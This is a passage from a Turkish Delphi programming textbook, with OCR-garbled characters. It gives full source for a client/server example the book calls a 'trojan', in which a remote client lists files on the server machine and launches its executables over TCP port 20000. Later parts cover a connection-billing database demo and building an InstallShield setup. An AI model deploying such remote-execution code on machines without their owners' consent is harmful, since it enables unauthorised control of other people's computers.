da aúa÷ıdaki úekilde yanyana getirerek çalıútırın (veya varsa iki bilgisayarınız ayrı ayrı bilgisayarlarda da çalıútırabilirsiniz. Zaten asıl amaç budur). 387 Client uygulamasından yapmanız gereken ilk iúlem “Ba÷lan” dü÷mesine tıklayarak servera ba÷lanmayı sa÷lamak olmalıdır. Arkasından dü÷melere teker teker tıklayarak etkisini di÷er bilgisayarda izleyebilirsiniz. Aúa÷ıdaki ekran görüntüsü “Note Pad” çalıútır dü÷mesine tıklanıldıktan sonra alınmıútır (tabiiki di÷er makinedeki notepad çalıútı). Ba÷lantıyı kes dü÷mesine tıklamadı÷ınız sürece (baúka sebeplerden de ba÷lantı kesilebilir) di÷er dü÷meleri de deneyebilirsiniz. Server programının çalıúma mantı÷ı, gönderilen text formatlı mesajları dallanmaya tabi tutarak herbiri için farklı kodların iúletilmesini sa÷lamaktan ibarettir (uzantan kumanda cihazlarında da yayılan ıúıgın rengi dallandırılmaktadır). 388 Uygulama 14:Daha Geliúmiú Bir Trojan Bu örne÷imizde yine iki proje oluúturaca÷ız. Server uygulaması gönderilecek olan komutları yorumlamak için oluúturulacak, Client uygulaması ise servera komut göndermek için kullanılacaktır. øki uygulamaya ait tasarım görüntüleri aúa÷ıda verilmiútir. Server Uygulaması Örne÷imiz için formunuza bir adet FileListBox, bir adet DirectoryListBox ve bir adet DriveComboBox (üçüde Win 3.1 yapra÷ında bulunabilir) yerleútirin. Ardından IdTCPServer ve bir adet Memo kontrolünü formunuzun üzerine alın. Son olarak aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); begin DriveComboBox1.DirList:=DirectoryListBox1; IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; end; procedure TForm1.DriveComboBox1Change(Sender: TObject); begin DirectoryListBox1.Drive:=DriveComboBox1.Drive; end; procedure TForm1.DirectoryListBox1Change(Sender: TObject); begin FileListBox1.Directory:=DirectoryListBox1.Directory; end; 389 procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var makina:AnsiString; begin makina:=AThread.Connection.Socket.Binding.PeerIP; StatusBar1.Panels[0].Text:=makina+' Ba÷lanmak østedi'; end; procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var mesaj:AnsiString; i,satir:Integer; begin mesaj:=AThread.Connection.ReadLn();//portu oku if mesaj='calistir' Then begin WinExec(PChar(FileListBox1.FileName),SW_SHOW);//çalıútır AThread.Connection.WriteLn('Uygulama Çalıútırıldı'); StatusBar1.Panels[1].Text:='Trojan Uygulama Çalıútırdı'; memo1.Lines.Add(mesaj); end else if mesaj='gonder' Then begin satir:=FileListBox1.Items.Count; for i:=0 to satir-1 do begin AThread.Connection.WriteLn(FileListBox1.Items.Strings[i]);//satırı yolla StatusBar1.Panels[1].Text:='Liste Gitti'; end; FileListBox1.ItemIndex:=0;//ilk satıra git end else begin FileListBox1.ItemIndex:=StrToInt(mesaj)+1; end; end; Uygulamayı çalıútırdı÷ınızda istedi÷iniz bir directory seçerek client bilgisayardan gönderilecek olan komutu bekleyebilirsiniz. Koda dikkat edecek olursanız client bilgisayardan “gonder” diye bir mesaj gelirse “FileListBox” içerisinde yer alan tüm dosyalar di÷er bilgisayara gönderilecektir. ùayet “calistir” diye baúka bir mesaj gelirse bu durumda da seçili olan “exe” dosyasının çalıútırıldı÷ını göreceksiniz. 390 Client Uygulaması Client uygulaması için aúa÷ıdaki gibi formunuza bir adet “IdTCPClient”, bir adet “IdAntiFreeze”, bir adet “Timer” bir adet “FileListBox” iki adet “Button” ve üç adet “Edit” kontrolü yerleútiriniz. Programın çalıúma mantı÷ı úöyle olacak. Öncelikle “Ba÷lan” dü÷mesine tıklayarak server bilgisayarına ba÷lanmalısınız. Daha sonra “Komut Satırı” kısmına “gonder” yazıp “Komut Gönder” dü÷mesine tıklayın. Bu sayede serverda yer alan tüm dosya listesi elinize geçmiú olacak (ne güzel de÷ilmi..). Ardında bu dosyalar üzerinde çift tıklama yaparsanız (exe olsun yoksa hata verir) server bilgisayarında o programın çalıútı÷ını göreceksiniz. Hatırlatalım mous veya yön tuúlarıyla dosya isimleri arasında dolaúırsanız aynı iúlemi server bilgisayarıda yapacaktır. Hadi kolay gelsin.. procedure TForm1.FormCreate(Sender: TObject); begin FileListBox1.Clear; Edit1.Text:='10.11.0.180'; Edit2.Text:='20000'; Timer1.Interval:=100; IdAntiFreeze1.IdleTimeOut:=10; IdAntiFreeze1.Active:=true; end; procedure TForm1.Button2Click(Sender: TObject); begin IdTCPClient1.Host:=Edit1.Text; IdTCPClient1.Port:=StrToInt(Edit2.Text); IdTCPClient1.Connect(); 391 end; procedure TForm1.IdTCPClient1Connected(Sender: TObject); begin StatusBar1.Panels[0].Text:='Ba÷lantı Kuruldu'; end; procedure TForm1.IdTCPClient1Disconnected(Sender: TObject); begin StatusBar1.Panels[0].Text:='Ba÷lantı Kesildi'; end; procedure TForm1.Button1Click(Sender: TObject); var mesaj:AnsiString; begin mesaj:=Edit3.Text; IdTCPClient1.WriteLn(mesaj); end; procedure TForm1.FileListBox1KeyDown(Sender: TObject; var Key: Word; Shift: TShiftState); var sira:Integer; begin if (key=vk_UP) OR (KEY=VK_DOWN) Then begin sira:=FileListBox1.ItemIndex; IdTCPClient1.WriteLn(IntToStr(sira)); end end; procedure TForm1.FileListBox1MouseDown(Sender: TObject; Button: TMouseButton; Shift: TShiftState; X, Y: Integer); var sira:Integer; begin sira:=FileListBox1.ItemIndex; IdTCPClient1.WriteLn(IntToStr(sira-1)); end; procedure TForm1.Timer1Timer(Sender: TObject); var oku:AnsiString; begin if IdTCPClient1.Connected Then begin oku:=IdTCPClient1.ReadLn(); 392 FileListBox1.Items.Add(oku); end; StatusBar1.Panels[1].Text:=oku; end; procedure TForm1.FileListBox1DblClick(Sender: TObject); //server da dosya çalıútır var oku:AnsiString; begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('calistir'); oku:=IdTCPClient1.ReadLn(); StatusBar1.Panels[1].Text:=oku; end; end; ùimdi iki uygulamaya ait “exe” dosyalarını aynı anda çalıútırın. Server uygulamasını çalıútırdıktan sonra herhangi bir klasörü seçerek içerisindeki dosyaları yukarıdaki úekilde listeletin. Dosyaların içerisinde “exe” olmasına dikkat edin çünkü birazdan gönderece÷imiz komutla bu “exe” dosyalarını çalıútıraca÷ız. ùimdi de Client uygulamasından yapmanız gerekenleri açıklayalım. Öncelikle aúa÷ıdaki gibi çalıúmasını sa÷layın. Server bilgisyarının “IP” sini ve port numarasını (ikisindede aynı olacak) girerek “Ba÷lan” isimli dü÷meye tıklayınız. Gerekli açıklama bilgileri status bara ait panelde sizlere iletilecektir. 393 Daha sonra “Komut Satırı” kutusuna “gonder” yazıp “Komut Gönder” dü÷mesine tıklayın. Servera ait tüm dosyaların listeye eklendi÷ini göreceksiniz. ùimdi yapmanız gereken tek úey bir “exe” dosyası bulup üzerine çift tıklamak. 394 Uygulama 15:Network Uygulamalarında Veri Tabanı Kullanmak Örne÷imiz için yine iki ayrı proje geliútirece÷iz. Extra yapaca÷ımız iúlem tüm kayıtları veri tabanına yazdırmak olacaktır. Amaç client uygulaması server bilgisayarına ba÷landıktan sonra ne kadar ba÷lı kaldı÷ını tablolar halinde tutabilmek (servis sa÷layıcınız sizin için benzer bir program çalıútırmaktadır). Öncelikle aúa÷ıdaki tabloyu paradoxta oluúturunuz. Server Uygulaması 395 Server uygulaması için yukarıdaki tasarımı oluúturunuz. Karıúıklıklara izin vermemek için tüm iúlemlerinizi adım adım izah edece÷im. Birinci adımda formunuza bir adet “Table” nesnesi yerleútirerek yukarıdaki tablonuza ba÷layın (DataBaseName ve TableName). økinci adımda formunuza bir adet “DataSource” ve Bir adet “DBGrid” nesnesi yerleútirerek “DataSource” kontrolünün “DataSet” özelli÷ine “Table1” , “DBGrid” kontrolünün de “DataSource” özelli÷ine “DataSource1” kontrolünü aktarın. Üçüncü adımda “table1” kontrolünü seçerek mousun sa÷ tuúuna tıklayın. Açılan menüden “Fields Editor” seçene÷ini seçin. Beyaz bir pencere açılacaktır, bu pencerede mousun sa÷ tuúuna tıklayarak “Add All Fields” seçene÷ini seçerek tüm sütunları projenize ekleyin. Dördüncü adımda formunuza bir adet “DBNavigator” kontrolü yerleútirerek “DataSource” özelli÷ine “DataSource1” kontrolünü aktarın. Beúinci adımda formunuza bir adet “Timer” ve bir adet “IdTCPServer” kontrolü yerleútiriniz. Bu adımda aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. var sayac:Integer=0; procedure TForm1.FormCreate(Sender: TObject); begin IdTCPServer1.DefaultPort:=20000; IdTCPServer1.Active:=true; StatusBar1.Panels[0].Text:='Ba÷lantı Bekleniyor'; Timer1.Interval:=1000;//bir sn Timer1.Enabled:=true; end; procedure TForm1.IdTCPServer1Connect(AThread: TIdPeerThread); var makina:AnsiString; begin StatusBar1.Panels[0].Text:='Ba÷lantı østendi'; makina:=AThread.Connection.Socket.Binding.PeerIP; try Table1.Insert; Table1ABONEADI.Text:=makina; Table1BTARIH.AsDateTime:=Date; Table1BSAATI.AsDateTime:=Time; Table1KONTOR.AsCurrency:=100; Table1SAYI1.AsInteger:=sayac; Table1SAYI2.AsInteger:=33333; 396 Table1.Post;//Yazdır except end; end; procedure TForm1.Timer1Timer(Sender: TObject); begin inc(sayac); end; procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread); var ara:Boolean ; fark:Integer; adres,mesaj,zaman:AnsiString; begin mesaj:=AThread.Connection.ReadLn();//portu oku if mesaj='kapat' Then begin adres:=AThread.Connection.Socket.Binding.PeerIP; zaman:=''; ara:=table1.Locate('ABONEADI;SON',VarArrayOf([adres,zaman]),[]); if ara Then//Kayıt bulunduysa begin Table1.Edit; Table1.FieldByName('ASAATI').AsDateTime:=Time; Table1.FieldByName('SAYI2').AsInteger:=sayac; fark:=Table1SAYI2.AsInteger-Table1SAYI1.AsInteger; Table1SON.AsString:='KAPALI'; Table1TUTAR.AsCurrency:=Table1KONTOR.AsCurrency*fark ; Table1.Post; end; StatusBar1.Panels[1].Text:='Bilgisayar Ayrıldı'; end; end; Tablo da oluúturulan “SON” isimli sütun, sadece kayıt bulma aúamasında o makinaya (birden fazla kere ba÷lanmıú olabilir. Ama sadece en son ba÷lantısı boú olacaktır. Çünkü ba÷lantısı koptu÷u zaman sütuna “KAPANDI” de÷eri yazdırılmaktadır) ait en son kaydın bulunabilmesi için eklenmiútir. Ayrıca eklenen “SAYI” sütunları baúlangıç ve ayrılıú zamanlarını tutarak (sayac), aradaki farkı “KONTOR” fiyatıyla çarpıp “TUTAR “ sütununa ait de÷eri hesaplatabilmek için eklenmiútir. 397 Client Uygulaması Client uygulaması için aúa÷ıdaki tasarımı oluúturunuz. Karıúıklı÷a yer vermemek için yapılan iúlemleri adım adım izah edece÷im. Birinci adımda formunuza bir adet “IdTCPClient” kontrolü ile bir adet “IdAntiFreeze” (kilitlenmeleri engellemek için) kontrolü yerleútiriniz. økinci adımda formunuza iki adet “Memo” kontrolü , iki adet “Edit” ve øki adet “Button” kontrolü ekleyiniz. Üçüncü adımda aúa÷ıdaki kod blo÷unu “Unit” pencerenize ekleyiniz. procedure TForm1.FormCreate(Sender: TObject); begin Edit1.Text:='10.11.0.180'; Edit2.Text:='20000'; IdAntiFreeze1.IdleTimeOut:=100; IdAntiFreeze1.Active:=true; Button2.Enabled:=false; end; procedure TForm1.Button1Click(Sender: TObject); //Ba÷lan begin if IdTCPClient1.Connected=false Then begin IdTCPClient1.Host:=Edit1.Text; IdTCPClient1.Port:=StrToInt(Edit2.Text); IdTCPClient1.Connect();//Ba÷lan Button2.Enabled:=true; Button1.Enabled:=false; 398 StatusBar1.Panels[0].Text:='Ba÷lantı Sa÷landı'; end; end; procedure TForm1.Button2Click(Sender: TObject); //Ba÷lantıyı Kes begin if IdTCPClient1.Connected Then begin IdTCPClient1.WriteLn('kapat'); IdTCPClient1.Disconnect; Button2.Enabled:=false; Button1.Enabled:=true; end; end; procedure TForm1.Memo1KeyPress(Sender: TObject; var Key: Char); //Gönder var mesaj,oku:AnsiString; begin if Key=#13 Then //Enter tuúuna basarsa begin if IdTCPClient1.Connected Then //Ba÷lantı varsa begin mesaj:=Memo1.Lines.Strings[Memo1.Lines.count-1]; IdTCPClient1.WriteLn(mesaj); oku:=IdTCPClient1.ReadLn();//portu oku Memo2.Lines.Add(oku); StatusBar1.Panels[1].Text:='Mesaj Gönderildi'; end; end end; ùimdi iki uygulamayı da aúa÷ıdaki úekilde alt alta gelecek úekilde çalıútırın (farklı iki bilgisayarda çalıútırırsanız daha iyi olur). Ardından “Client uygulamasında yer alan “Ba÷lan” isimli dü÷meye tıklayın. Kaydınızın otomatik olarak “Server” uygulamasındaki tabloya yazıldı÷ını göreceksiniz (Ayrılıú saati sütunu ile tutar sütunu boú bırakılmaktadır). Ardından “Ba÷lantıyı Kes” dü÷mesine tıkladı÷ınızda boú bırakılan “ASAATI” sütunu ile “TUTAR” sütunu hesaplanarak ilgili yerlere eklenecektir. 399 Önce “Ba÷lan” ardında “Ba÷lantıyı Kes” dü÷melerine tıklayın Server uygulamanıza ait görüntü aúa÷ıdaki úekilde oluúacaktır. 400 BÖLÜM 13 SETUP PROJESø OLUùTURMAK 402 Setup Projesi Oluúturmak: Oluúturdu÷unuz projeyi baúka bilgisaylarda çalıútırmak için setup dosyası haline getirmeli, di÷er bilgisayarlara oradan yükleme yapmalısınız. Aksi takdirde bilhassa içerisinde “BDE” uygulamaları olan projeler için bir çok hata mesajıyla karúılaúacaksınız. Bu bölümde sizlere “Delphi” projelerinin setup dosyalarını nasıl oluúturabilece÷inizi gösterece÷im. Setup dosyası oluúturmak için “Delphi” “CD” si içerisinde bulunan “InstallShield Express” yazılımını kurmanız gerekecektir. Aúa÷ıda pencere gösterilmektedir. “InstallShield Express” yazılımını kurduktan sonra “Windows” un Start menüsüne aúa÷ıdaki úekilde eklenmiú olması gerekecektir. ùimdi yukarıdaki adımları izleyerek “InstalShieeld->Expres” uygulamasını baúlatınız. 403 Karúınıza aúa÷ıdaki pencere açılacaktır. Bu pencerede daha önceden hazırlamıú oldu÷unuz bir setup projesi varsa ve onu açmak istiyorsanız “Open a Project” seçene÷ini, yeni baútan bir setup dısyası oluúturacaksanız “Create a new Project” linkine tıklamalısınız. Biz yeni baútan bir setup dosyası oluúturaca÷ımız için “Create a new Project” seçene÷ini seçerek aúa÷ıdaki pencerenin açılmasını sa÷ladık. Açılan yukarıdaki pencerede “Blank Setup Project” iconunu seçip “Project Name and Location” kutusuna “Setup dosyanızı kaydedece÷iniz klasörü belirleyin (Herhangi bir klasör olabilir). 404 Ardından projenizin isminide de÷iútirerek (your project name-1) projenize uygun istedi÷iniz bir isim verin. Artık “Create” buttonuna tıklayabilirsiniz. Oluúturaca÷ınız setup dosyasını belirtti÷iniz klasörün içerisine kaydedecektir. 405 Yukarıda gösterilen hücrelere uygun alan de÷erleri girerek bir sonraki adıma geçiniz (Bu hücre de÷erlerine “General Information” Seçene÷ine tıklarsanız eriúebilirsiniz.). Bu adımda “Setup Types” seçene÷ini aktif hale geçirip programınızın kurulum seçeneklerini belirleyebilirsiniz. Delphi sizlere kurulum için üç ayrı seçenek sunmaktadır (Typical-Minimal-Custom) Diledi÷inizi veya hepsini beraber seçebilirsiniz. E÷er tüm seçenekleri seçerek di÷er adımlara geçerseniz herbiri için kurulması gereken dosyaları ayrı ayrı belirlemek durumunda kalırsınız (Genellikle çok büyük uygulamalar için gerekli olabilecek bir seçenektir). Yukarıdaki seçeneklerden “Typical” olanı seçip di÷er adımlara geçiyoruz. Bu adımda “Specify Application Data” bölümünü aktifleútirin. Yukarıda seçmiú oldu÷unuz kurulumlara ait kullanılacak olan dosya ve klasörlerin tamamını buradan ayarlamalısınız. En üst bölümden “Allways” seçene÷ini seçin (Sadece Typical iúaretli ise di÷erleri gözükmeyecektir), kurulması zorunlu olan dosyaları bu bölümde yer alan “Destination Computers file’s” kısmına ekleyin. “INSTALLDIR” aktifken “projenize ait exe dosyasını, “DATABASEDIR” aktifken de uygulamanızın kullanaca÷ı veritabanı dosyalarını ekleyin. 406 Pencerenize ait en son ekran görüntüsü aúa÷ıda verilmiútir. Kurulumunuz için gerekli dosyaları belirledikten sonra “Object/Merge” bölümüne geçerek úayet varsa “BDE” ayarlarını yapalım. “DataBase Desktop” la oluúturulan bir veritabanı ba÷lantınız varsa úimdiki bölümde muhakkak bu iúlemi yapmanız gerekecektir. Hatırlatalım sayet bir “ADO” kontrolü kullanarak Microsoft ürünlerine veya di÷er veritabanı uygulamalarına ba÷lantı kurduysanız yine bu iúlemi uygulamak zorundasınız. Aksi takdirde setup dosyanızı di÷er bilgisayarlara yükledi÷inizde tabloların bulunamadı÷ına dair çok sıkıcı uyarılarla karúılaúacaksınız. Programınızda kullanabilece÷iniz tüm veritabanı seçeneklerini “InstallShield Object/Merge Modules” kısmında bulabilirsiniz. Yapmanız gereken tek úey bu seçene÷in iúaret dü÷mesini aktifleútirmekten ibaret olacaktır. Aúa÷ıdaki ekran görüntüsü “Object/Merge Modules” seçene÷i iúaretlendikten sonra alınmıútır. Uygulamamızda sadece “BDE” Veritabanı tablolarından 407 bulundu÷u için, “InstallShield Object/Merge Modules” kısmından “BDE_ENT” seçenek dü÷mesini aktif hale geçirin. Karúınıza “Welcome to the BDE Object Wizard” penceresi açılacak, Delphi sizleri yönlendirecektir. “Next” dü÷mesine tıklayın. Bu pencereden programınıza belirleyebilirsiniz. 408 ait ayar dosyalarının tutulaca÷ı bir dosya “Next” dü÷mesine tıklayarak di÷er pencereye geçebilirsiniz. Yeni pencereden “BDE” uygulamaları ile yeni bir dosya oluúturaca÷ımız için “Launch” dü÷mesine tıklayın. Aúa÷ıdaki pencere açılacaktır. Bu pencerede “Add” dü÷mesine tıklayarak uygulama içerisinde kullandı÷ınız “Alias” isimlerini belirleyin. Karúınıza aúa÷ıdaki pencere açılacaktır. “Alias Name” kısmında programınızın kullandı÷ı tüm “Alias” ları seçerek uygulamanıza ekleyin. Hatırlatalım setup projenizi yükledi÷iniz bilgisayarlar bu alias isimlerini kullanarak tablolarınıza ba÷lanabilecektir. Bu yüzden tüm client bilgisayarlarda “Alias” ayarlarını teker teker yapmak zorundasınız. Aksi takdirde yine ba÷lantı sa÷lanamadı÷ına dair sinir bozucu uyarılar alırsınız. 409 “Next” ve “Finish” dü÷melerine tamamlanmasını sa÷layınız. tıklayarak “Wizard” iúleminizin Gelelim “Configure The Target System” bölümüne, bu kısımda, setup projeniz di÷er bilgisayara kurulurken oluúturaca÷ı kısayolları belirlemenizi sa÷layacaktır. Yukarıdaki pencerede “Program Files” altına ve “Desktop” üzerinde iki adet kısa yolun oluúturulması sa÷lanmaktadır. Aynı mantıkla úayet Registry ye kayıt yaptıracaksanız “Registy” bölümüne gerekli eklentileri yapmalısınız. Uygulamanıza ait tüm setup ayarlarını tamamladıktan sonra derlenmesi iúlemini baúlatabilirsiniz. Bu iúlem için “Prepare for Release” seçene÷ini seçerek, bir alt klasöründe gösterilen “Build Your Release” penceresinin aktifleúmesini sa÷layın. Aúa÷ıdaki pencere açılacaktır. Bu pencereden setup dosyasını oluúturaca÷ınız media cihazını belirlemenizi isteyecektir. “CD ROM” veya “DVD ROM” seçeneklerinin herbiri burada mevcuttur. Birden fazla “DVD ROM” gösterilmesinin sebebi kapasite farkından kaynaklanmaktadır. Sa÷ kısımda yer alan yükleme seçene÷ini seçerek, mous ile üzerinde sa÷ tuúa tıklayınız. Açılan menüden “Build” sekmesine tıklayarak uygulamanızın derlenmesini sa÷layınız. Derlenme anında en altta yer alan pencere sayesinde yapılan tüm iúlemleri detaylı olarak izleme imkanına sahip olacaksınız. ùayet bu pencerede herhangi bir hata mesajı almazsanız uygulamanızın düzgün bir úekilde Compile edilmiú oldu÷u anlamını çıkarabilirsiniz. 410 Uygulamanızın “Compile” edilmiú halinden sonraki ekran görüntüsü aúa÷ıda verilmiútir. Setup Projesinin Di÷er Bilgisayarlara Yüklenmesi: Derlemiú oldu÷unuz projeyi di÷er bilgisayarlara yükleyebilmek için aúa÷ıdaki adımları izlemelisiniz. Setup projesini oluúturdu÷unuz klasörü açın (CD ROM ). Setup Dosyanız içerisinde aúa÷ıdaki úekilde gözükecektir. “TeknikServis2003” (vermiú oldu÷unuz ismi) klasörü üzerinde mous ile çift tıklayın. Aúa÷ıdaki adımları izleyin. 411 “....Teknikservis2003\Express\cd_rom\DiskImages\Disk1\setup.exe” “Setup.exe” dosyasını çalıútırıp gerekli adımları izledikten sonra programınız o bilgisayara yüklenmiú olacaktır. “Start->Program Files” seçeneklerini izlerseniz aúa÷ıdaki úekilde bir görüntü elde edersiniz. Aynı zamanda “Desktop” üzerinde “Migros” isimli kısayolu oluúturdu÷una da dikkatinizi çekmek istiyorum. ùimdi “Start->Program Files->Migros->Teknik 2003” adımlarını izleyerek uygulamanızı çalıútırınız. Programı çalıútırdıktan gerçekleúecektir. 412 sonraki ekran görüntünüz yukarıdaki úekilde SON SÖZ Serimizin altıncı kitabını da tamamlamıú bulunuyoruz. Di÷er kitaplarımıza göstermiú oldu÷unuz ilgiyi aynen devam ettirmeniz en büyük temennimiz olacaktır. Kitaplarımız hkkındaki tüm eleútiri ve önerilerinizi [email protected] adresine gönderebilir, karúılaútı÷ınız problemler için bu adresten çözüm isteyebilirsiniz. TCP/IP Protokolü hususunda bilgisinden faydalandı÷ımız Osman ÇALIù’a teúekkürü bir borç bilmekteyiz. 413